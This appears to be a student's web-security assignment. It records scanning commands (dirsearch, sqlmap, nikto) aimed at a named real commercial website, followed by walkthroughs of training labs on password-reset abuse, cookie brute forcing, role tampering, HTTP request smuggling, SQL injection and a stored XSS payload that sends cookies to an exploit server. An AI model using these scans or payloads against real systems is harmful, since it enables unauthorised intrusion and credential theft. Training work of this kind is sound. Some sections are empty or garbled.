Assignment 3: Web application

vulnerabilities
Part 1:
Tasks:
1. Discover hidden directories and files on web servers using ffuf, dirsearch, dirbuster, dirb, etc
(you can try 2 or more of them)

For this task, I used this command in Kali Linux:

dirsearch -u https://halykmarket.kz -e php,html,js -r

2. Try to analyze all possible databases using sqlmap tool (you can try use yourself)

For this task, I used this command in Kali Linux and online tool(https://pentest-tools.com/):

sqlmap -u «http://halykmarket.kz/category/mebel" --dbs

 3. Scan web servers for potential issues and vulnerabilities using Nikto tool

For this task, I used this command in Kali Linux:

nikto -h halykmarket.kz

Part 2 (After completing your labs, it is mandatory to show your

profile when you take a screenshot)

1. Lab: Password reset broken logic

This lab's password reset functionality is vulnerable. To solve the lab, reset Carlos's password then log in and
access his "My account" page.

1. After launching Burp, I clicked on the link "Forgot your password?" and entered the wiener username.
2.I clicked the mail client button to view the sent email to reset the password. I followed the link in the email
and changed my password to peter.

3.In Burp, go to Proxy > HTTP history and study the requests and responses for the password reset
functionality. Observe that the reset token is provided as a URL query parameter in the reset email. Notice
that when you submit your new password, the POST /forgot-password?temp-forgot-
password-token request contains the username as hidden input. Send this request to Burp Repeater.

4.I requested a new password reset in the browser and changed the password again. Sent a POST request /
forgot your password?temp-forgot-password-token on the Burp repeater again.

5.In Burp Repeater, I deleted the value of the temp-forgotten-password-token parameter in both the URL and
the request text. Changed the username parameter to carlos. I set it as a new password.
2. Lab: Brute-forcing a stay-logged-in cookie

1. With Burp running, I logged in to my own account with the Stay logged in option selected. I noticed that
this action set a stay-logged-in cookie.

2. I examined this cookie in the Inspector panel and noticed that it was Base64-encoded. After decoding it,
the value was revealed as wiener:51dc30ddc473d43a6011e9ebba6ca770. Analyzing the length and character
set of this string, I speculated that it might be an MD5 hash. To confirm, I hashed my password using MD5
and compared the result with the hash in the cookie.

3. I logged out of my account to prepare for the next steps.

4. In the most recent GET /my-account request, I highlighted the stay-logged-in cookie parameter and sent
the request to Burp Intruder for further analysis.

5. In Burp Intruder, I observed that the stay-logged-in cookie was automatically added as a payload position.
I then added my own password as a single payload.

6. Under Payload processing, I added the following rules in order: Hash: MD5, Add prefix: wiener:, Encode:
Base64-encode. These rules were designed to mimic the construction of the original cookie.
7. I made adjustments and repeated the attack to further refine the process and ensure its reliability.

3. Lab: User role controlled by request parameter

1. Browse to /admin and observe that you can't access the admin panel.
2. Browse to the login page
3. In Burp Proxy, turn interception on and enable response interception.
4. Complete and submit the login page, and forward the resulting request in Burp.
5. Observe that the response sets the cookie Admin=false. Change it to Admin=true.
6. Load the admin panel and delete Carlos.
4. Lab: User role can be modified in user profile
1. Log in using the supplied credentials and access your account page.
2. Use the provided feature to update the email address associated with your account.
3. Observe that the response contains your role ID.
4. Send the email submission request to Burp Repeater, add "roleid":2 into the JSON in the request
body, and resend it.
5. Observe that the response shows your roleid has changed to 2.
6. Browse to /admin and delete Carlos.

5. Lab: HTTP request smuggling, obfuscating the TE header

In Burp Suite, go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.
Using Burp Repeater, issue the following request twice:
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0
6. Lab: Broken brute-force protection, IP block
1. When I had Burp running, I decided to investigate the login page. I observed that my IP would get
temporarily blocked after three consecutive incorrect login attempts. However, I also noticed that I could
reset the failed login attempt counter by logging into my own account before reaching this limit.

2. I entered an invalid username and password, then sent the POST /login request to Burp Intruder. I created
a pitchfork attack with payload positions in both the username and password parameters.

3. On the "Resource pool" tab, I added the attack to a resource pool with Maximum concurrent requests set
to 1. This ensured that my login attempts were sent to the server in the correct order.

4. On the "Payloads" tab, I selected payload set 1 and added a list of payloads alternating between my
username and "carlos." I made sure that my username was listed first and that "carlos" was repeated at least
100 times.

5. I edited the list of candidate passwords and added my own password before each one, aligning it with my
username in the other list.

6. I added this list to payload set 2 and started the attack.

7. After the attack finished, I filtered the results to hide responses with a 200 status code. Then, I sorted the
remaining results by username. There should have been only a single 302 response for requests with the
username "carlos." I made a note of the password from the Payload 2 column.

8. Using that password, I logged in to Carlos's account and accessed his account page to complete the lab.
Carlos:master
7. Lab: Offline password cracking
1. While Burp was running, I used my own account to investigate the "Stay logged in" functionality. I
noticed that the stay-logged-in cookie was Base64 encoded.

2. In the Proxy > HTTP history tab, I went to the Response to my login request and highlighted the stay-
logged-in cookie. It was constructed as follows: username+':'+md5HashOfPassword.

3. I needed to steal the victim user's cookie, so I observed that the comment functionality was vulnerable to
XSS.

4. I went to the exploit server and made a note of the URL.

5. I went to one of the blogs and posted a comment containing the following stored XSS payload, ensuring to
enter my own exploit server ID:
html
<script>document.location=‘//https://exploit-0a5e00f1048cfa7c80c03e9e012f00c3.exploit-
server.net/'+document.cookie</script>

6. On the exploit server, I opened the access log. There was a GET request from the victim containing their
stay-logged-in cookie.

7. I decoded the cookie in Burp Decoder. The result was:

8. I copied the hash and pasted it into a search engine. This revealed that the password was "onceuponatime."

9. Finally, I logged in to the victim's account, went to the "My account" page, and deleted their account to
solve the lab.
8.Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
1. I used Burp Suite to intercept and modify the request that sets the product category lter.

2. I determined the number of columns being returned by the query and which columns contained
text data. To verify this, I used a payload like the following in the category parameter:
'+UNION+SELECT+'abc','def'#, which helped me con rm that the query returned two columns,
both containing text.

3. I used the following payload to display the database version: '+UNION+SELECT+@@version,

+NULL#. This payload allowed me to retrieve and display the database version successfully.

10.Lab: Practice flag

fi
fi
11.Lab: My blog

9.Lab: SYN Flooding